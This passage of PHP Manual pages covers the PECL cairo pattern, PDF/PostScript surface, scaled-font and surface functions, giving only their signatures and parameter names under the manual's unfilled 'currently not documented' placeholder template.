cairo_pattern_create_rgb
cairo_pattern_get_color_stop_count
Cairo Functions


cairo_pattern_create_rgba
cairo_pattern_get_color_stop_rgba
Cairo Functions
PHP Manual

cairo_pattern_get_color_stop_count

(PECL cairo >= 0.1.0)

cairo_pattern_get_color_stop_count — Description

Description

int cairo_pattern_get_color_stop_count ( CairoGradientPattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_color_stop_count() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_create_rgba
cairo_pattern_get_color_stop_rgba
Cairo Functions


cairo_pattern_get_color_stop_count
cairo_pattern_get_extend
Cairo Functions
PHP Manual

cairo_pattern_get_color_stop_rgba

(PECL cairo >= 0.1.0)

cairo_pattern_get_color_stop_rgba — Description

Description

array cairo_pattern_get_color_stop_rgba ( CairoGradientPattern $pattern , int $index )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

index

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_color_stop_rgba() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_get_color_stop_count
cairo_pattern_get_extend
Cairo Functions


cairo_pattern_get_color_stop_rgba
cairo_pattern_get_filter
Cairo Functions
PHP Manual

cairo_pattern_get_extend

(PECL cairo >= 0.1.0)

cairo_pattern_get_extend — Description

Description

int cairo_pattern_get_extend ( string $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_extend() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_get_color_stop_rgba
cairo_pattern_get_filter
Cairo Functions


cairo_pattern_get_extend
cairo_pattern_get_linear_points
Cairo Functions
PHP Manual

cairo_pattern_get_filter

(PECL cairo >= 0.1.0)

cairo_pattern_get_filter — Description

Description

int cairo_pattern_get_filter ( CairoSurfacePattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_filter() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_get_extend
cairo_pattern_get_linear_points
Cairo Functions


cairo_pattern_get_filter
cairo_pattern_get_matrix
Cairo Functions
PHP Manual

cairo_pattern_get_linear_points

(PECL cairo >= 0.1.0)

cairo_pattern_get_linear_points — Description

Description

array cairo_pattern_get_linear_points ( CairoLinearGradient $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_linear_points() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_get_filter
cairo_pattern_get_matrix
Cairo Functions


cairo_pattern_get_linear_points
cairo_pattern_get_radial_circles
Cairo Functions
PHP Manual

cairo_pattern_get_matrix

(PECL cairo >= 0.1.0)

cairo_pattern_get_matrix — Description

Description

CairoMatrix cairo_pattern_get_matrix ( CairoPattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_matrix() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_get_linear_points
cairo_pattern_get_radial_circles
Cairo Functions


cairo_pattern_get_matrix
cairo_pattern_get_rgba
Cairo Functions
PHP Manual

cairo_pattern_get_radial_circles

(PECL cairo >= 0.1.0)

cairo_pattern_get_radial_circles — Description

Description

array cairo_pattern_get_radial_circles ( CairoRadialGradient $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_radial_circles() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_get_matrix
cairo_pattern_get_rgba
Cairo Functions


cairo_pattern_get_radial_circles
cairo_pattern_get_surface
Cairo Functions
PHP Manual

cairo_pattern_get_rgba

(PECL cairo >= 0.1.0)

cairo_pattern_get_rgba — Description

Description

array cairo_pattern_get_rgba ( CairoSolidPattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_rgba() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_get_radial_circles
cairo_pattern_get_surface
Cairo Functions


cairo_pattern_get_rgba
cairo_pattern_get_type
Cairo Functions
PHP Manual

cairo_pattern_get_surface

(PECL cairo >= 0.1.0)

cairo_pattern_get_surface — Description

Description

CairoSurface cairo_pattern_get_surface ( CairoSurfacePattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_surface() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_get_rgba
cairo_pattern_get_type
Cairo Functions


cairo_pattern_get_surface
cairo_pattern_set_extend
Cairo Functions
PHP Manual

cairo_pattern_get_type

(PECL cairo >= 0.1.0)

cairo_pattern_get_type — Description

Description

int cairo_pattern_get_type ( CairoPattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_type() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_get_surface
cairo_pattern_set_extend
Cairo Functions


cairo_pattern_get_type
cairo_pattern_set_filter
Cairo Functions
PHP Manual

cairo_pattern_set_extend

(PECL cairo >= 0.1.0)

cairo_pattern_set_extend — Description

Description

void cairo_pattern_set_extend ( string $pattern , string $extend )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

extend

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_set_extend() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_get_type
cairo_pattern_set_filter
Cairo Functions


cairo_pattern_set_extend
cairo_pattern_set_matrix
Cairo Functions
PHP Manual

cairo_pattern_set_filter

(PECL cairo >= 0.1.0)

cairo_pattern_set_filter — Description

Description

void cairo_pattern_set_filter ( CairoSurfacePattern $pattern , int $filter )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

filter

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_set_filter() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_set_extend
cairo_pattern_set_matrix
Cairo Functions


cairo_pattern_set_filter
cairo_pattern_status
Cairo Functions
PHP Manual

cairo_pattern_set_matrix

(PECL cairo >= 0.1.0)

cairo_pattern_set_matrix — Description

Description

void cairo_pattern_set_matrix ( CairoPattern $pattern , CairoMatrix $matrix )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

matrix

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_set_matrix() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_set_filter
cairo_pattern_status
Cairo Functions


cairo_pattern_set_matrix
cairo_pdf_surface_create
Cairo Functions
PHP Manual

cairo_pattern_status

(PECL cairo >= 0.1.0)

cairo_pattern_status — Description

Description

int cairo_pattern_status ( CairoPattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_status() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_set_matrix
cairo_pdf_surface_create
Cairo Functions


cairo_pattern_status
cairo_pdf_surface_set_size
Cairo Functions
PHP Manual

cairo_pdf_surface_create

(PECL cairo >= 0.1.0)

cairo_pdf_surface_create — Description

Description

CairoPdfSurface cairo_pdf_surface_create ( string $file , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pdf_surface_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pattern_status
cairo_pdf_surface_set_size
Cairo Functions


cairo_pdf_surface_create
cairo_ps_get_levels
Cairo Functions
PHP Manual

cairo_pdf_surface_set_size

(PECL cairo >= 0.1.0)

cairo_pdf_surface_set_size — Description

Description

void cairo_pdf_surface_set_size ( CairoPdfSurface $surface , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pdf_surface_set_size() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pdf_surface_create
cairo_ps_get_levels
Cairo Functions


cairo_pdf_surface_set_size
cairo_ps_level_to_string
Cairo Functions
PHP Manual

cairo_ps_get_levels

(PECL cairo >= 0.1.0)

cairo_ps_get_levels — Description

Description

array cairo_ps_get_levels ( void )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_get_levels() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_pdf_surface_set_size
cairo_ps_level_to_string
Cairo Functions


cairo_ps_get_levels
cairo_ps_surface_create
Cairo Functions
PHP Manual

cairo_ps_level_to_string

(PECL cairo >= 0.1.0)

cairo_ps_level_to_string — Description

Description

string cairo_ps_level_to_string ( int $level )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

level

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_level_to_string() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_ps_get_levels
cairo_ps_surface_create
Cairo Functions


cairo_ps_level_to_string
cairo_ps_surface_dsc_begin_page_setup
Cairo Functions
PHP Manual

cairo_ps_surface_create

(PECL cairo >= 0.1.0)

cairo_ps_surface_create — Description

Description

CairoPsSurface cairo_ps_surface_create ( string $file , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_ps_level_to_string
cairo_ps_surface_dsc_begin_page_setup
Cairo Functions


cairo_ps_surface_create
cairo_ps_surface_dsc_begin_setup
Cairo Functions
PHP Manual

cairo_ps_surface_dsc_begin_page_setup

(PECL cairo >= 0.1.0)

cairo_ps_surface_dsc_begin_page_setup — Description

Description

void cairo_ps_surface_dsc_begin_page_setup ( CairoPsSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_dsc_begin_page_setup() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_ps_surface_create
cairo_ps_surface_dsc_begin_setup
Cairo Functions


cairo_ps_surface_dsc_begin_page_setup
cairo_ps_surface_dsc_comment
Cairo Functions
PHP Manual

cairo_ps_surface_dsc_begin_setup

(PECL cairo >= 0.1.0)

cairo_ps_surface_dsc_begin_setup — Description

Description

void cairo_ps_surface_dsc_begin_setup ( CairoPsSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_dsc_begin_setup() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_ps_surface_dsc_begin_page_setup
cairo_ps_surface_dsc_comment
Cairo Functions


cairo_ps_surface_dsc_begin_setup
cairo_ps_surface_get_eps
Cairo Functions
PHP Manual

cairo_ps_surface_dsc_comment

(PECL cairo >= 0.1.0)

cairo_ps_surface_dsc_comment — Description

Description

void cairo_ps_surface_dsc_comment ( CairoPsSurface $surface , string $comment )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

comment

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_dsc_comment() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_ps_surface_dsc_begin_setup
cairo_ps_surface_get_eps
Cairo Functions


cairo_ps_surface_dsc_comment
cairo_ps_surface_restrict_to_level
Cairo Functions
PHP Manual

cairo_ps_surface_get_eps

(PECL cairo >= 0.1.0)

cairo_ps_surface_get_eps — Description

Description

bool cairo_ps_surface_get_eps ( CairoPsSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_get_eps() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_ps_surface_dsc_comment
cairo_ps_surface_restrict_to_level
Cairo Functions


cairo_ps_surface_get_eps
cairo_ps_surface_set_eps
Cairo Functions
PHP Manual

cairo_ps_surface_restrict_to_level

(PECL cairo >= 0.1.0)

cairo_ps_surface_restrict_to_level — Description

Description

void cairo_ps_surface_restrict_to_level ( CairoPsSurface $surface , int $level )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

level

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_restrict_to_level() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_ps_surface_get_eps
cairo_ps_surface_set_eps
Cairo Functions


cairo_ps_surface_restrict_to_level
cairo_ps_surface_set_size
Cairo Functions
PHP Manual

cairo_ps_surface_set_eps

(PECL cairo >= 0.1.0)

cairo_ps_surface_set_eps — Description

Description

void cairo_ps_surface_set_eps ( CairoPsSurface $surface , bool $level )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

level

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_set_eps() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_ps_surface_restrict_to_level
cairo_ps_surface_set_size
Cairo Functions


cairo_ps_surface_set_eps
cairo_scaled_font_create
Cairo Functions
PHP Manual

cairo_ps_surface_set_size

(PECL cairo >= 0.1.0)

cairo_ps_surface_set_size — Description

Description

void cairo_ps_surface_set_size ( CairoPsSurface $surface , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_ps_surface_set_size() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_ps_surface_set_eps
cairo_scaled_font_create
Cairo Functions


cairo_ps_surface_set_size
cairo_scaled_font_extents
Cairo Functions
PHP Manual

cairo_scaled_font_create

(PECL cairo >= 0.1.0)

cairo_scaled_font_create — Description

Description

CairoScaledFont cairo_scaled_font_create ( CairoFontFace $fontface , CairoMatrix $matrix , CairoMatrix $ctm , CairoFontOptions $fontoptions )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

fontface

Description...

matrix

Description...

ctm

Description...

fontoptions

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_ps_surface_set_size
cairo_scaled_font_extents
Cairo Functions


cairo_scaled_font_create
cairo_scaled_font_get_ctm
Cairo Functions
PHP Manual

cairo_scaled_font_extents

(PECL cairo >= 0.1.0)

cairo_scaled_font_extents — Description

Description

array cairo_scaled_font_extents ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_extents() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_scaled_font_create
cairo_scaled_font_get_ctm
Cairo Functions


cairo_scaled_font_extents
cairo_scaled_font_get_font_face
Cairo Functions
PHP Manual

cairo_scaled_font_get_ctm

(PECL cairo >= 0.1.0)

cairo_scaled_font_get_ctm — Description

Description

CairoMatrix cairo_scaled_font_get_ctm ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_get_ctm() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_scaled_font_extents
cairo_scaled_font_get_font_face
Cairo Functions


cairo_scaled_font_get_ctm
cairo_scaled_font_get_font_matrix
Cairo Functions
PHP Manual

cairo_scaled_font_get_font_face

(PECL cairo >= 0.1.0)

cairo_scaled_font_get_font_face — Description

Description

CairoFontFace cairo_scaled_font_get_font_face ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_get_font_face() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_scaled_font_get_ctm
cairo_scaled_font_get_font_matrix
Cairo Functions


cairo_scaled_font_get_font_face
cairo_scaled_font_get_font_options
Cairo Functions
PHP Manual

cairo_scaled_font_get_font_matrix

(PECL cairo >= 0.1.0)

cairo_scaled_font_get_font_matrix — Description

Description

CairoFontOptions cairo_scaled_font_get_font_matrix ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_get_font_matrix() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_scaled_font_get_font_face
cairo_scaled_font_get_font_options
Cairo Functions


cairo_scaled_font_get_font_matrix
cairo_scaled_font_get_scale_matrix
Cairo Functions
PHP Manual

cairo_scaled_font_get_font_options

(PECL cairo >= 0.1.0)

cairo_scaled_font_get_font_options — Description

Description

CairoFontOptions cairo_scaled_font_get_font_options ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_get_font_options() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_scaled_font_get_font_matrix
cairo_scaled_font_get_scale_matrix
Cairo Functions


cairo_scaled_font_get_font_options
cairo_scaled_font_get_type
Cairo Functions
PHP Manual

cairo_scaled_font_get_scale_matrix

(PECL cairo >= 0.1.0)

cairo_scaled_font_get_scale_matrix — Description

Description

CairoMatrix cairo_scaled_font_get_scale_matrix ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_get_scale_matrix() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_scaled_font_get_font_options
cairo_scaled_font_get_type
Cairo Functions


cairo_scaled_font_get_scale_matrix
cairo_scaled_font_glyph_extents
Cairo Functions
PHP Manual

cairo_scaled_font_get_type

(PECL cairo >= 0.1.0)

cairo_scaled_font_get_type — Description

Description

int cairo_scaled_font_get_type ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_get_type() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_scaled_font_get_scale_matrix
cairo_scaled_font_glyph_extents
Cairo Functions


cairo_scaled_font_get_type
cairo_scaled_font_status
Cairo Functions
PHP Manual

cairo_scaled_font_glyph_extents

(PECL cairo >= 0.1.0)

cairo_scaled_font_glyph_extents — Description

Description

array cairo_scaled_font_glyph_extents ( CairoScaledFont $scaledfont , array $glyphs )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

glyphs

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_glyph_extents() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_scaled_font_get_type
cairo_scaled_font_status
Cairo Functions


cairo_scaled_font_glyph_extents
cairo_scaled_font_text_extents
Cairo Functions
PHP Manual

cairo_scaled_font_status

(PECL cairo >= 0.1.0)

cairo_scaled_font_status — Description

Description

int cairo_scaled_font_status ( CairoScaledFont $scaledfont )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_status() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_scaled_font_glyph_extents
cairo_scaled_font_text_extents
Cairo Functions


cairo_scaled_font_status
cairo_surface_copy_page
Cairo Functions
PHP Manual

cairo_scaled_font_text_extents

(PECL cairo >= 0.1.0)

cairo_scaled_font_text_extents — Description

Description

array cairo_scaled_font_text_extents ( CairoScaledFont $scaledfont , string $text )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

scaledfont

Description...

text

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_scaled_font_text_extents() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_scaled_font_status
cairo_surface_copy_page
Cairo Functions


cairo_scaled_font_text_extents
cairo_surface_create_similar
Cairo Functions
PHP Manual

cairo_surface_copy_page

(PECL cairo >= 0.1.0)

cairo_surface_copy_page — Description

Description

void cairo_surface_copy_page ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_copy_page() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_scaled_font_text_extents
cairo_surface_create_similar
Cairo Functions


cairo_surface_copy_page
cairo_surface_finish
Cairo Functions
PHP Manual

cairo_surface_create_similar

(PECL cairo >= 0.1.0)

cairo_surface_create_similar — Description

Description

CairoSurface cairo_surface_create_similar ( CairoSurface $surface , int $content , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

content

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_create_similar() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_copy_page
cairo_surface_finish
Cairo Functions


cairo_surface_create_similar
cairo_surface_flush
Cairo Functions
PHP Manual

cairo_surface_finish

(PECL cairo >= 0.1.0)

cairo_surface_finish — Description

Description

void cairo_surface_finish ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

